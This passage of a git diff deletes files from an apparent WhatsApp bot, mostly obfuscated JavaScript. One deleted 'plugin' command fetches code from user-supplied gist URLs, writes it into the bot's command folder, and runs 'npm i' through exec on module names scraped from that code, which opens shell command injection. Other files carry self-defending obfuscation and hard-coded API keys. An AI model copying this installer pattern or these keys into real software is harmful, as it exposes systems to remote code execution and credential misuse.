and\x20then\x20restart\x20by\x20','forEach','146741KEEfcp','Addplugin','reboot','Plugin\x20installed\x20successfully\x20,\x20you\x20can\x20restart\x20now\x20or\x20if\x20have\x20another\x20plugin\x20to\x20install\x20install\x20these\x20first\x20and\x20then\x20restart\x20by\x20','url','install','1728418iMtcRP','78333FuSQAx','log','plugin\x20install\x20\x20:\x20for\x20plugin\x20installation\x0a-','exec\x20error:\x20','name','length','\x0a*name\x20:*\x20','push','Mods','toLowerCase','npm\x20i\x20'];_0x3f07=function(){return _0x5168a5;};return _0x3f07();}const {adams}=require('../Ibrahim/adams'),fs=require(_0x1d3603(0x188)),{exec}=require(_0x1d3603(0x18f)),plug=require(_0x1d3603(0x189));adams({'nomCom':_0x1d3603(0x184),'categorie':_0x1d3603(0x1a7),'desc':'manage(add\x20or\x20remove)\x20plugin','alias':['pg']},async(_0x24445d,_0x3ea8d3,_0x1fd90b)=>{const _0x5e8fa1=_0x1d3603,{repondre:_0x263c22,arg:_0x1e385f,ms:_0x126188,prefixe:_0x511e43}=_0x1fd90b;if(!_0x1e385f[0x0]||_0x1e385f[_0x5e8fa1(0x18c)]('')==='')_0x263c22(_0x5e8fa1(0x1ad)+_0x511e43+_0x5e8fa1(0x1a1)+_0x511e43+'plugin\x20remove\x20\x20:\x20for\x20removing\x20plugins\x0a-'+_0x511e43+_0x5e8fa1(0x185));else switch(_0x1e385f[0x0][_0x5e8fa1(0x1a8)]()){case _0x5e8fa1(0x19d):if(_0x1e385f[0x1][_0x5e8fa1(0x17e)](_0x5e8fa1(0x1b0))){const _0x3c9979=_0x1e385f[0x1];let _0x5785d3=await installPlugin(_0x3c9979);_0x5785d3&&_0x263c22(_0x5e8fa1(0x19b)+_0x511e43+'reboot');}else _0x263c22(_0x5e8fa1(0x1b1));break;case'remove':_0x1e385f[0x1]&&_0x1e385f[0x1]['trim']()!==''&&await plug[_0x5e8fa1(0x17d)](_0x1e385f[0x1])[_0x5e8fa1(0x179)](_0x66fa53=>{const _0x59a618=_0x5e8fa1;fs['rmSync'](_0x59a618(0x191)+_0x1e385f[0x1]+_0x59a618(0x181)),_0x263c22('Plugin\x20'+_0x1e385f[0x1]+_0x59a618(0x196)+_0x511e43+_0x59a618(0x19a));});break;case'list':const _0x120c3e=await plug['pluginList']();console['log'](_0x120c3e);if(_0x120c3e[_0x5e8fa1(0x1a4)]>0x0){let _0x36d6ad='';_0x120c3e[_0x5e8fa1(0x197)](_0x31b6d5=>{const _0x31abfd=_0x5e8fa1;_0x36d6ad+=_0x31abfd(0x1a5)+_0x31b6d5[_0x31abfd(0x1a3)]+_0x31abfd(0x1ae)+_0x31b6d5[_0x31abfd(0x19c)]+'\x0a';}),_0x263c22(_0x36d6ad);}else _0x263c22(_0x5e8fa1(0x193));break;}}),installPlugin=async _0xb97b96=>{const _0x4e89f9=_0x1d3603,_0x196f9f=await fetch(_0xb97b96),_0x5a08b1=await _0x196f9f[_0x4e89f9(0x182)]();let _0x517fa1=_0x5a08b1[_0x4e89f9(0x178)](/require\(['"]([^'"]+)['"]\)/g),_0x18fb8e=[];_0x517fa1&&_0x517fa1[_0x4e89f9(0x197)](_0x5a2ec6=>{const _0x45ac40=_0x4e89f9,_0x118984=_0x5a2ec6[_0x45ac40(0x18d)]('require(','')['replace'](')','')[_0x45ac40(0x18d)](/['"]/g,'');try{_0x118984!==_0x45ac40(0x190)&&require[_0x45ac40(0x1ab)](_0x118984);}catch{!_0x18fb8e['includes'](_0x118984)&&_0x18fb8e[_0x45ac40(0x1a6)](_0x118984);}});_0x18fb8e[_0x4e89f9(0x1a4)]>0x0&&(console['log'](_0x4e89f9(0x17c),_0x18fb8e),await new Promise((_0x49f10b,_0x50a1d4)=>{const _0x3456e2=_0x4e89f9;exec(_0x3456e2(0x1a9)+_0x18fb8e[_0x3456e2(0x18c)]('\x20'),(_0x189111,_0x564d3f,_0x557122)=>{const _0x1cc36f=_0x3456e2;_0x189111&&(console[_0x1cc36f(0x17a)](_0x1cc36f(0x1a2)+_0x189111),_0x50a1d4(_0x189111)),console['log']('stdout:\x20'+_0x564d3f),console[_0x1cc36f(0x17a)](_0x1cc36f(0x186)+_0x557122),_0x49f10b(_0x564d3f);});}));const _0x3dffef=_0xb97b96[_0x4e89f9(0x18d)](_0x4e89f9(0x195),'')[_0x4e89f9(0x18b)]('/')[0x4];return fs[_0x4e89f9(0x183)](_0x4e89f9(0x191)+_0x3dffef)[_0x4e89f9(0x18a)](_0x5a08b1),console[_0x4e89f9(0x1a0)]('Plugin\x20installed\x20successfully'),await plug[_0x4e89f9(0x199)](_0x3dffef[_0x4e89f9(0x18d)](_0x4e89f9(0x181),''),_0xb97b96),!![];};
-/**
-const a40_0x51cbee = function () {
- let _0x5eb5b7 = true;
- return function (_0x414ccc, _0x2b3814) {
- const _0x89bc87 = _0x5eb5b7 ? function () {
- if (_0x2b3814) {
- const _0x4cb527 = _0x2b3814.apply(_0x414ccc, arguments);
- _0x2b3814 = null;
- return _0x4cb527;
- }
- } : function () {};
- _0x5eb5b7 = false;
- return _0x89bc87;
- };
-}();
-const a40_0x1a7346 = a40_0x51cbee(this, function () {
- return a40_0x1a7346.toString().search('(((.+)+)+)+$').toString().constructor(a40_0x1a7346).search("(((.+)+)+)+$");
-});
-a40_0x1a7346();
-const {
- adams
-} = require("../Ibrahim/adams");
-const fs = require("node:fs");
-const {
- exec
-} = require('child_process');
-const plug = require("../lib/plugin");
-adams({
- 'nomCom': 'plugin',
- 'categorie': "Mods",
- 'desc': "manage(add or remove) plugin",
- 'alias': ['pg']
-}, async (_0x1c4f27, _0x25b71c, _0x3ceeb8) => {
- const {
- repondre: _0x4b5993,
- arg: _0x5b18db,
- ms: _0x4a45ff,
- prefixe: _0x133d81
- } = _0x3ceeb8;
- if (!_0x5b18db[0x0] || _0x5b18db.join('') === '') {
- _0x4b5993("Here is an exemple:\n-" + _0x133d81 + "plugin install : for plugin installation\n-" + _0x133d81 + "plugin remove : for removing plugins\n-" + _0x133d81 + "plugin list : for listing all installed plugins");
- } else {
- switch (_0x5b18db[0x0].toLowerCase()) {
- case 'install':
- if (_0x5b18db[0x1].startsWith("https://gist.githubusercontent.com")) {
- const _0x3d8304 = _0x5b18db[0x1];
- let _0x29ca80 = await installPlugin(_0x3d8304);
- if (_0x29ca80) {
- _0x4b5993("Plugin installed successfully , you can restart now or if have another plugin to install install these first and then restart by " + _0x133d81 + "reboot");
- }
- } else {
- _0x4b5993("Please provide a valid gist raw url");
- }
- break;
- case "remove":
- if (_0x5b18db[0x1] && _0x5b18db[0x1].trim() !== '') {
- await plug.delPlugin(_0x5b18db[0x1]).then(_0x15d529 => {
- fs.rmSync("./commandes/" + _0x5b18db[0x1] + ".js");
- _0x4b5993("Plugin " + _0x5b18db[0x1] + " removed successfully , you can restart now or if have another plugin to remove remove these first and then restart by " + _0x133d81 + "reboot");
- });
- }
- break;
- case 'list':
- const _0x2f3d5d = await plug.pluginList();
- console.log(_0x2f3d5d);
- if (_0x2f3d5d.length > 0x0) {
- let _0x268827 = '';
- _0x2f3d5d.forEach(_0x18d696 => {
- _0x268827 += "\n*name :* " + _0x18d696.name + "\n*url :* " + _0x18d696.url + "\n";
- });
- _0x4b5993(_0x268827);
- } else {
- _0x4b5993("You haven't install any plugin");
- }
- break;
- }
- }
-});
-installPlugin = async _0x192394 => {
- const _0x562712 = await fetch(_0x192394);
- const _0x20e9b1 = await _0x562712.text();
- let _0x148cc8 = _0x20e9b1.match(/require\(['"]([^'"]+)['"]\)/g);
- let _0x2c8aa8 = [];
- if (_0x148cc8) {
- _0x148cc8.forEach(_0x5f5402 => {
- const _0x181d9a = _0x5f5402.replace('require(', '').replace(')', '').replace(/['"]/g, '');
- try {
- if (_0x181d9a !== "../framework/zokou") {
- require.resolve(_0x181d9a);
- }
- } catch {
- if (!_0x2c8aa8.includes(_0x181d9a)) {
- _0x2c8aa8.push(_0x181d9a);
- }
- }
- });
- }
- if (_0x2c8aa8.length > 0x0) {
- console.log("Modules to install : ", _0x2c8aa8);
- await new Promise((_0x4ff127, _0x57419e) => {
- exec("npm i " + _0x2c8aa8.join(" "), (_0x4995f8, _0x44c91f, _0x4ad3bc) => {
- if (_0x4995f8) {
- console.error("exec error: " + _0x4995f8);
- _0x57419e(_0x4995f8);
- }
- console.log("stdout: " + _0x44c91f);
- console.error("stderr: " + _0x4ad3bc);
- _0x4ff127(_0x44c91f);
- });
- });
- }
- const _0x3b28ca = _0x192394.replace("https://gist.githubusercontent.com/", '').split('/')[0x4];
- fs.createWriteStream("./commandes/" + _0x3b28ca).end(_0x20e9b1);
- console.log("Plugin installed successfully");
- await plug.Addplugin(_0x3b28ca.replace('.js', ''), _0x192394);
- return true;
-};
-**/
diff --git a/scs/bmwq.js b/scs/bmwq.js
deleted file mode 100644
index 0537846..0000000
--- a/scs/bmwq.js
+++ /dev/null
@@ -1,90 +0,0 @@
-const { adams } = require("../Ibrahim/adams");
-const moment = require("moment-timezone");
-const { getBuffer } = require("../Ibrahim/dl/Function");
-const { default: axios } = require('axios');
-const speed = require("performance-now");
-
-
-const runtime = function (seconds) {
- seconds = Number(seconds);
- var d = Math.floor(seconds / (3600 * 24));
- var h = Math.floor((seconds % (3600 * 24)) / 3600);
- var m = Math.floor((seconds % 3600) / 60);
- var s = Math.floor(seconds % 60);
- var dDisplay = d > 0 ? d + (d == 1 ? " day, " : " d, ") : "";
- var hDisplay = h > 0 ? h + (h == 1 ? " hour, " : " h, ") : "";
- var mDisplay = m > 0 ? m + (m == 1 ? " minute, " : " m, ") : "";
- var sDisplay = s > 0 ? s + (s == 1 ? " second" : " s") : "";
- return dDisplay + hDisplay + mDisplay + sDisplay;
- }
-let timestamp = speed()
-let flashspeed = (speed() - timestamp).toFixed(4)
-adams({ nomCom: 'ping',
- desc: 'To check ping',
- Categorie: 'General',
- reaction: '🚘',
- fromMe: 'true',
-
-
- },
-
-
-async (dest, zk, commandeOptions) => {
- const { ms, arg, repondre} = commandeOptions;
-
-
-
-await repondre(`*Pong▱▱▱▰▰▰▰▰ ${flashspeed} MS* `);
-
-}
-);
-
-
-
-
-adams({ nomCom: 'uptime',
- desc: 'To check runtime',
- Categorie: 'General',
- reaction: '🚘',
- fromMe: 'true',
-
-
- },
- async (dest, zk, commandeOptions) => {
- const { ms, arg, repondre } = commandeOptions;
-
- await repondre(`*Bmw speed is: ${runtime(process.uptime())}_*`)
-
-
-
-
- }
-);
-
-
-adams({ nomCom: 'ss',
- desc: 'screenshots website',
- Categorie: 'General',
- reaction: '🎥',
- fromMe: 'true',
-
-},
- async (dest, zk, commandeOptions) => {
- const { ms, arg, repondre } = commandeOptions;
-
- if (!arg || arg.length === 0) return repondre("provide a link...");
-
- const linkk = arg.join(' ');
-
-
-
-let linkkk = `https://api.maher-zubair.tech/misc/sstab?url=${linkk}&dimension=720x720`;
-
-let res = await getBuffer(linkkk);
- let caption = '*Powered by BARAKA-MD-V1*'
-
-await zk.sendMessage(dest, { image: res }, { caption: caption }, { quoted: ms });
-
-
-}
-);
diff --git a/scs/bmwqan.js b/scs/bmwqan.js
deleted file mode 100644
index ec72fe0..0000000
--- a/scs/bmwqan.js
+++ /dev/null
@@ -1 +0,0 @@
-const _0x3a5fe3=_0x5431;function _0x5431(_0x4761c6,_0x52e612){const _0x380cca=_0x4421();return _0x5431=function(_0x5c5dd5,_0x379d57){_0x5c5dd5=_0x5c5dd5-(0xc19*0x3+-0x1afc+0x27*-0x3a);let _0x3ab7e7=_0x380cca[_0x5c5dd5];return _0x3ab7e7;},_0x5431(_0x4761c6,_0x52e612);}(function(_0x25c72c,_0x92da57){const _0x5e3596=_0x5431,_0x3421d0=_0x25c72c();while(!![]){try{const _0x571536=parseInt(_0x5e3596(0x82))/(-0x1*0x845+-0x1*0x767+-0x1*-0xfad)+-parseInt(_0x5e3596(0xd1))/(0x1e*-0x6f+0x12be+0x5ba*-0x1)+parseInt(_0x5e3596(0xc9))/(0x1*0x11b3+0x2*-0x7bb+-0x23a)*(-parseInt(_0x5e3596(0xe5))/(-0x1107+-0x7d+0x8c4*0x2))+-parseInt(_0x5e3596(0xd6))/(0x1d5c+0xa*-0x243+-0x6b9*0x1)+parseInt(_0x5e3596(0xc1))/(0x1fa2+0x1cd9+0xb*-0x57f)*(-parseInt(_0x5e3596(0x92))/(0x5*0x6b+0x746+-0x956))+parseInt(_0x5e3596(0xb1))/(0x22e2+-0x1136+-0x11a4)+parseInt(_0x5e3596(0x85))/(0x18c4+-0x2439+-0x1*-0xb7e);if(_0x571536===_0x92da57)break;else _0x3421d0['push'](_0x3421d0['shift']());}catch(_0xb5211c){_0x3421d0['push'](_0x3421d0['shift']());}}}(_0x4421,-0x7c4*-0x3e+0x1*0x558ad+-0x2bf8f));function _0x4421(){const _0x23f5fd=['msg=','bsWeI','cnt','*powered\x20b','red\x20while\x20','yYxVC','\x20you.','MpzfL','\x20your\x20requ','VXVsW','VdwGU','/traductio','FCnvD','axios','length','jGmkR','esting\x20Bra','2915360VkiaVi','wGiik','/api/ai/gp','VbixV','\x20a\x20me\x20any\x20','DsXfp','otooxy.com','ench\x20:','mQMjj','log','NyodG','json','Jwvaj','stening\x20to','cjVMj','YpDOP','1230exVEhX','y\x20BMW-MD*','Error\x20when','FlMCK','raah-tech','uid=[uid]&','dwgJi','JnJeq','45IELQyK','on.','then','thing.','est','eO1kubFVD&','d=177607&k','Please\x20ask','799470vyNBYw','result','StCqz','message','join','727440OIoVFn','gpt','xKwSr','inShop\x20:','rror\x20occur','\x20the\x20image','Erreur:','oBnWh','https://ap','status','eneration.','error','ng\x20image\x20g','get','Error\x20requ','115096IDWIIz','../Ibrahim','cIYQg','http://api','ycszE','i.ibrahima','\x20s\x27est\x20pro','Error\x20duri','eate-image','\x20translati','yes\x20I\x27m\x20li','/adams','.brainshop','est.','ormation\x20t','essary\x20inf','bot','SeTRl','processing','rVScb','VQitV','zUhjN','ror\x20:\x20','zTdGT','VvUMi','TLYfe','GsLyG','t4?q=','e\x20generati','https://ph','ElUwY','uSNHd','wKzig','BRSSw','383458wICLmX','&apikey=ib','.ai/get?bi','7458759kFSblk','aXwWq','/effect/cr','inShop','Please\x20ent','Oops,\x20an\x20e','catch','sendMessag','Une\x20erreur','ench','tYQar','oops\x20an\x20er','duite','10458rNAGNG','o\x20generate','OEgKg','oHDJo','ey=NwzhALq','dams.us.kg','ng\x20respons','VpmRW','\x20a\x20questio','data','?q=','ng\x20into\x20Fr','er\x20the\x20nec','gpt1'];_0x4421=function(){return _0x23f5fd;};return _0x4421();}const {adams}=require(_0x3a5fe3(0xe6)+_0x3a5fe3(0xf0)),traduire=require(_0x3a5fe3(0xe6)+_0x3a5fe3(0xab)+'n'),{default:axios}=require(_0x3a5fe3(0xad));adams({'nomCom':_0x3a5fe3(0xf5),'reaction':'📡','categorie':'IA'},async(_0x48c995,_0x3ca759,_0x4442ed)=>{const _0x3fab9b=_0x3a5fe3,_0x36b327={'aXwWq':function(_0x1966c7,_0x25b494){return _0x1966c7(_0x25b494);},'bsWeI':_0x3fab9b(0xc3)+_0x3fab9b(0xee)+_0x3fab9b(0x9d)+_0x3fab9b(0xb8),'yYxVC':function(_0x225141,_0x32c16c){return _0x225141(_0x32c16c);},'uSNHd':_0x3fab9b(0xc3)+_0x3fab9b(0xee)+_0x3fab9b(0x9d)+_0x3fab9b(0x8e),'tYQar':function(_0x141238,_0x22834a,_0x370974){return _0x141238(_0x22834a,_0x370974);},'YpDOP':_0x3fab9b(0xe4)+_0x3fab9b(0xb0)+_0x3fab9b(0xd9),'zTdGT':function(_0x3a985a,_0xb851a){return _0x3a985a(_0xb851a);},'jGmkR':_0x3fab9b(0xe4)+_0x3fab9b(0xb0)+_0x3fab9b(0x88),'VXVsW':function(_0x27463a,_0x27b23e){return _0x27463a(_0x27b23e);},'oHDJo':_0x3fab9b(0xef)+_0x3fab9b(0xbe)+_0x3fab9b(0xa6),'wGiik':function(_0x13300b,_0x15b9a2,_0x3af832){return _0x13300b(_0x15b9a2,_0x3af832);},'wKzig':function(_0x2cbe5e,_0x33e091){return _0x2cbe5e(_0x33e091);},'SeTRl':function(_0x22a68c,_0x16c986){return _0x22a68c+_0x16c986;},'DsXfp':_0x3fab9b(0x90)+_0x3fab9b(0xfb)},{repondre:_0x1b0ad9,ms:_0x21ea22,arg:_0x1e996c}=_0x4442ed;if(!_0x1e996c||!_0x1e996c[0x59*0x43+-0x5*-0x18b+-0x1f02])return _0x36b327[_0x3fab9b(0xa9)](_0x1b0ad9,_0x36b327[_0x3fab9b(0x95)]);try{const _0x1b4489=await _0x36b327[_0x3fab9b(0xb2)](traduire,_0x1e996c[_0x3fab9b(0xd5)]('\x20'),{'to':'en'});console[_0x3fab9b(0xba)](_0x1b4489),_0x36b327[_0x3fab9b(0x86)](fetch,_0x3fab9b(0xe8)+_0x3fab9b(0xf1)+_0x3fab9b(0x84)+_0x3fab9b(0xcf)+_0x3fab9b(0x96)+_0x3fab9b(0xce)+_0x3fab9b(0xc6)+_0x3fab9b(0xa0)+_0x1b4489)[_0x3fab9b(0xcb)](_0x50f73f=>_0x50f73f[_0x3fab9b(0xbc)]())[_0x3fab9b(0xcb)](_0x4d60b6=>{const _0x30fa89=_0x3fab9b,_0x9fd104=_0x4d60b6[_0x30fa89(0xa2)];console[_0x30fa89(0xba)](_0x9fd104),_0x36b327[_0x30fa89(0x8f)](traduire,_0x9fd104,{'to':'en'})[_0x30fa89(0xcb)](_0x2740da=>{const _0x29d8b6=_0x30fa89;_0x36b327[_0x29d8b6(0x86)](_0x1b0ad9,_0x2740da);})[_0x30fa89(0x8b)](_0x11eafa=>{const _0x155b3d=_0x30fa89;console[_0x155b3d(0xe1)](_0x36b327[_0x155b3d(0xa1)],_0x11eafa),_0x36b327[_0x155b3d(0xa5)](_0x1b0ad9,_0x36b327[_0x155b3d(0x7f)]);});})[_0x3fab9b(0x8b)](_0x58c4cc=>{const _0x285f88=_0x3fab9b;console[_0x285f88(0xe1)](_0x36b327[_0x285f88(0xc0)],_0x58c4cc),_0x36b327[_0x285f88(0xfc)](_0x1b0ad9,_0x36b327[_0x285f88(0xaf)]);});}catch(_0x137496){_0x36b327[_0x3fab9b(0x80)](_0x1b0ad9,_0x36b327[_0x3fab9b(0xf6)](_0x36b327[_0x3fab9b(0xb6)],_0x137496));}}),adams({'nomCom':'ai','reaction':'📡','categorie':'IA'},async(_0x2ead56,_0x5dfe1c,_0x210efb)=>{const _0x49914b=_0x3a5fe3,_0x58583a={'TLYfe':function(_0x3dc271,_0x3bd488){return _0x3dc271===_0x3bd488;},'ElUwY':function(_0x1ad1ea,_0x49e9e6){return _0x1ad1ea(_0x49e9e6);},'VbixV':_0x49914b(0xa3)+_0x49914b(0xc2),'ycszE':function(_0x59d5f6,_0x179d33){return _0x59d5f6==_0x179d33;},'VQitV':function(_0x248797,_0x5309a3){return _0x248797(_0x5309a3);},'StCqz':_0x49914b(0xec)+_0x49914b(0xe2)+_0x49914b(0xe0),'VdwGU':_0x49914b(0xdc),'JnJeq':_0x49914b(0x8d)+_0x49914b(0xeb)+_0x49914b(0x91),'oBnWh':function(_0x5796fe,_0x88bef4){return _0x5796fe(_0x88bef4);},'xKwSr':_0x49914b(0x8a)+_0x49914b(0xda)+_0x49914b(0xa4)+_0x49914b(0xf7)+_0x49914b(0xa8)+_0x49914b(0xcd)},{repondre:_0x48d96a,arg:_0x5416cb,ms:_0x2994d3}=_0x210efb;try{if(!_0x5416cb||_0x58583a[_0x49914b(0x79)](_0x5416cb[_0x49914b(0xae)],0xd29*0x1+-0x3e3+-0x946))return _0x58583a[_0x49914b(0x7e)](_0x48d96a,_0x49914b(0x89)+_0x49914b(0x9e)+_0x49914b(0xf4)+_0x49914b(0xf3)+_0x49914b(0x93)+_0x49914b(0xdb)+'.');const _0xb97933=_0x5416cb[_0x49914b(0xd5)]('\x20'),_0x1f5904=await axios[_0x49914b(0xe3)](_0x49914b(0x7d)+_0x49914b(0xb7)+_0x49914b(0x87)+_0x49914b(0xed)+_0x49914b(0x9c)+_0xb97933),_0x3b145d=_0x1f5904[_0x49914b(0x9b)];let _0x173e2d=_0x58583a[_0x49914b(0xb4)];if(_0x58583a[_0x49914b(0xe9)](_0x3b145d[_0x49914b(0xdf)],0x1*-0xb36+0xb4*0x8+0x65e)){const _0x4e07b2=_0x3b145d[_0x49914b(0xd2)];_0x5dfe1c[_0x49914b(0x8c)+'e'](_0x2ead56,{'image':{'url':_0x4e07b2},'caption':_0x173e2d},{'quoted':_0x2994d3});}else _0x58583a[_0x49914b(0xf9)](_0x48d96a,_0x58583a[_0x49914b(0xd3)]);}catch(_0x163d96){console[_0x49914b(0xe1)](_0x58583a[_0x49914b(0xaa)],_0x163d96[_0x49914b(0xd4)]||_0x58583a[_0x49914b(0xc8)]),_0x58583a[_0x49914b(0xdd)](_0x48d96a,_0x58583a[_0x49914b(0xd8)]);}}),adams({'nomCom':_0x3a5fe3(0x9f),'reaction':'📡','categorie':'IA'},async(_0x568514,_0x4f75e0,_0x1e3491)=>{const _0x390aac=_0x3a5fe3,_0x49a275={'cjVMj':function(_0x4e5202,_0x51c5fd){return _0x4e5202===_0x51c5fd;},'BRSSw':function(_0x51add0,_0x517ec4){return _0x51add0(_0x517ec4);},'GsLyG':function(_0x27eed3,_0x3183eb){return _0x27eed3(_0x3183eb);},'cIYQg':_0x390aac(0xec)+_0x390aac(0x98)+_0x390aac(0x7c)+_0x390aac(0xca),'OEgKg':_0x390aac(0xdc),'VvUMi':_0x390aac(0x8d)+_0x390aac(0xeb)+_0x390aac(0x91),'NyodG':function(_0x4925b2,_0x5f2a9d){return _0x4925b2(_0x5f2a9d);},'MpzfL':_0x390aac(0x8a)+_0x390aac(0xda)+_0x390aac(0xa4)+_0x390aac(0xf7)+_0x390aac(0xa8)+_0x390aac(0xf2)},{repondre:_0x8d5a47,arg:_0x58ad77,ms:_0xff2b67}=_0x1e3491;try{if(!_0x58ad77||_0x49a275[_0x390aac(0xbf)](_0x58ad77[_0x390aac(0xae)],0x8d9*-0x3+-0x16e3+-0x14d*-0x26))return _0x49a275[_0x390aac(0x81)](_0x8d5a47,_0x390aac(0xd0)+_0x390aac(0xb5)+_0x390aac(0xcc));const _0x161fe2=_0x58ad77[_0x390aac(0xd5)]('\x20'),_0x5abaf6=await axios[_0x390aac(0xe3)](_0x390aac(0xde)+_0x390aac(0xea)+_0x390aac(0x97)+_0x390aac(0xb3)+_0x390aac(0x7b)+_0x161fe2+(_0x390aac(0x83)+_0x390aac(0xc5))),_0x51e389=_0x5abaf6[_0x390aac(0x9b)];_0x51e389?_0x49a275[_0x390aac(0x81)](_0x8d5a47,_0x51e389[_0x390aac(0xd2)]):_0x49a275[_0x390aac(0x7a)](_0x8d5a47,_0x49a275[_0x390aac(0xe7)]);}catch(_0xdebc65){console[_0x390aac(0xe1)](_0x49a275[_0x390aac(0x94)],_0xdebc65[_0x390aac(0xd4)]||_0x49a275[_0x390aac(0xfd)]),_0x49a275[_0x390aac(0xbb)](_0x8d5a47,_0x49a275[_0x390aac(0xa7)]);}}),adams({'nomCom':_0x3a5fe3(0xd7),'reaction':'🤔','categorie':'IA'},async(_0x2291d5,_0x16d6c1,_0x57a3f1)=>{const _0x261896=_0x3a5fe3,_0x17f32e={'dwgJi':function(_0x1a93f6,_0x41ed98){return _0x1a93f6===_0x41ed98;},'Jwvaj':function(_0x485414,_0x81b8d7){return _0x485414(_0x81b8d7);},'mQMjj':function(_0x1790de,_0x20408d){return _0x1790de(_0x20408d);},'FlMCK':function(_0x3988f8,_0x4d8443){return _0x3988f8(_0x4d8443);},'zUhjN':_0x261896(0xec)+_0x261896(0x98)+_0x261896(0x7c)+_0x261896(0xca),'rVScb':_0x261896(0xdc),'FCnvD':_0x261896(0x8d)+_0x261896(0xeb)+_0x261896(0x91),'VpmRW':_0x261896(0x8a)+_0x261896(0xda)+_0x261896(0xa4)+_0x261896(0xf7)+_0x261896(0xa8)+_0x261896(0xf2)},{repondre:_0x20d6e8,arg:_0x22ec38,ms:_0x5c667f}=_0x57a3f1;try{if(!_0x22ec38||_0x17f32e[_0x261896(0xc7)](_0x22ec38[_0x261896(0xae)],-0x2450+-0x16e*0x7+0x2e52))return _0x17f32e[_0x261896(0xbd)](_0x20d6e8,_0x261896(0xd0)+_0x261896(0x9a)+'n.');const _0x3ae5a1=_0x22ec38[_0x261896(0xd5)]('\x20'),_0x293682=await axios[_0x261896(0xe3)](_0x261896(0xde)+_0x261896(0xea)+_0x261896(0x97)+_0x261896(0xb3)+_0x261896(0x7b)+_0x3ae5a1+(_0x261896(0x83)+_0x261896(0xc5))),_0x57c223=_0x293682[_0x261896(0x9b)];_0x57c223?_0x17f32e[_0x261896(0xb9)](_0x20d6e8,_0x57c223[_0x261896(0xd2)]):_0x17f32e[_0x261896(0xc4)](_0x20d6e8,_0x17f32e[_0x261896(0xfa)]);}catch(_0x51db2e){console[_0x261896(0xe1)](_0x17f32e[_0x261896(0xf8)],_0x51db2e[_0x261896(0xd4)]||_0x17f32e[_0x261896(0xac)]),_0x17f32e[_0x261896(0xc4)](_0x20d6e8,_0x17f32e[_0x261896(0x99)]);}});
diff --git a/scs/bmwqpa.js b/scs/bmwqpa.js
deleted file mode 100644
index 9a3227e..0000000
--- a/scs/bmwqpa.js
+++ /dev/null
@@ -1 +0,0 @@
-function _0x465a(_0x3d1296,_0x4804bb){const _0x48280b=_0x1b45();return _0x465a=function(_0x1a0515,_0x3b69ce){_0x1a0515=_0x1a0515-(0x42c+0xed5*-0x1+0x5*0x261);let _0x6de116=_0x48280b[_0x1a0515];return _0x6de116;},_0x465a(_0x3d1296,_0x4804bb);}function _0x1b45(){const _0x41e281=['@whiskeyso','se\x20from\x20Ap','LGZAQ','\x20254xxxxxx','https://ib','our\x20code\x20=','key','age:\x20.rent','data','xiLMS','IWYwZ','Generating','COPY\x20YOUR\x20','79604HECVBr','stringify','vZSHV','iDQWp','kIDyz','code?numbe','eys','266499bSNVIB','\x20*Made\x20by\x20','EnuNS','code','Message','BZpVM','Invalid\x20re','Footer','7975ivVfTi','ams*','s-kz7d.onr','error','1200KTwCHr','xx.','ender.com/','axios','KpwBg','/traductio','ckets/bail','sponse:','CODE','sponse\x20fro','1307848YNNewe','ZyYvP','Example\x20Us','Ibrahim\x20Ad','15JaHmVm','*\x0a\x0a\x20BMW\x20MD','628lXCmbP','EaIVU','/adams','Error\x20gett','82DPctps','7XzVjpP','join','message','375954ScfMRX','cta_copy','ing\x20respon','get','2992041oPuSAy','Body','eMessage','IhgHC','vpmWv','../Ibrahim','\x20your\x20code','relayMessa','NativeFlow','99jPVVPX','copy_code','KsAxt','50lSpqmX','ing\x20Api\x20re','*\x20*','rent','.....','Interactiv','User','Header','create','length','*Here\x20is\x20y','rahim-adam','m\x20Api.'];_0x1b45=function(){return _0x41e281;};return _0x1b45();}const _0x20ef16=_0x465a;(function(_0x154a24,_0x38127e){const _0x5561af=_0x465a,_0x5b1638=_0x154a24();while(!![]){try{const _0x57bba6=-parseInt(_0x5561af(0x186))/(0x80d*0x1+0x9e*-0x2f+0x14f6)*(parseInt(_0x5561af(0x18a))/(0xdd6+0x101*-0x22+0x144e))+parseInt(_0x5561af(0x146))/(0x1*-0x26dd+0x25b5*-0x1+0x4c95)*(parseInt(_0x5561af(0x163))/(-0xe*0x1b7+-0x53*-0x23+0x5*0x289))+parseInt(_0x5561af(0x184))/(0x1*-0x1737+-0x1*-0x1b30+-0x3f4)*(-parseInt(_0x5561af(0x18e))/(-0xc10+-0x576+0x463*0x4))+parseInt(_0x5561af(0x18b))/(0x10cb*0x2+-0x1*-0x194a+-0xbc5*0x5)*(parseInt(_0x5561af(0x180))/(-0x208f+0x71*0xc+0x1b4b))+-parseInt(_0x5561af(0x16a))/(-0xbe4*-0x1+0x1*0xdb+0x1*-0xcb6)*(-parseInt(_0x5561af(0x149))/(-0x2*-0xcd1+0x1e4a+-0x37e2))+parseInt(_0x5561af(0x172))/(0x119*0x21+0x97*-0x2e+-0x90c)*(-parseInt(_0x5561af(0x176))/(0x11*0xa9+0xb3a+-0x47b*0x5))+-parseInt(_0x5561af(0x13d))/(-0x2446+0x3*-0x10b+0x2774);if(_0x57bba6===_0x38127e)break;else _0x5b1638['push'](_0x5b1638['shift']());}catch(_0x14563b){_0x5b1638['push'](_0x5b1638['shift']());}}}(_0x1b45,0xd9f76+-0x939cf+-0x9fe2*-0x4));const {adams}=require(_0x20ef16(0x142)+_0x20ef16(0x188)),traduire=require(_0x20ef16(0x142)+_0x20ef16(0x17b)+'n'),{default:axios}=require(_0x20ef16(0x179)),pkg=require(_0x20ef16(0x156)+_0x20ef16(0x17c)+_0x20ef16(0x169)),{generateWAMessageFromContent,proto}=pkg;adams({'nomCom':_0x20ef16(0x14c),'reaction':'🚘','categorie':_0x20ef16(0x14f)},async(_0x2e0eb5,_0x44bcf5,_0x383a62)=>{const _0x2bde19=_0x20ef16,_0x16f3e1={'BZpVM':function(_0x38a3ce,_0x469ce0){return _0x38a3ce===_0x469ce0;},'xiLMS':function(_0x43766f,_0x45cfa6){return _0x43766f(_0x45cfa6);},'EnuNS':_0x2bde19(0x182)+_0x2bde19(0x15d)+_0x2bde19(0x159)+_0x2bde19(0x177),'KsAxt':_0x2bde19(0x161)+_0x2bde19(0x143)+_0x2bde19(0x14d),'vpmWv':function(_0x553af6,_0x444f94){return _0x553af6(_0x444f94);},'kIDyz':_0x2bde19(0x18f),'iDQWp':_0x2bde19(0x162)+_0x2bde19(0x17e),'ZyYvP':_0x2bde19(0x147),'IhgHC':function(_0x5117a9,_0x28ac8d,_0x1485f9,_0x4e4d57){return 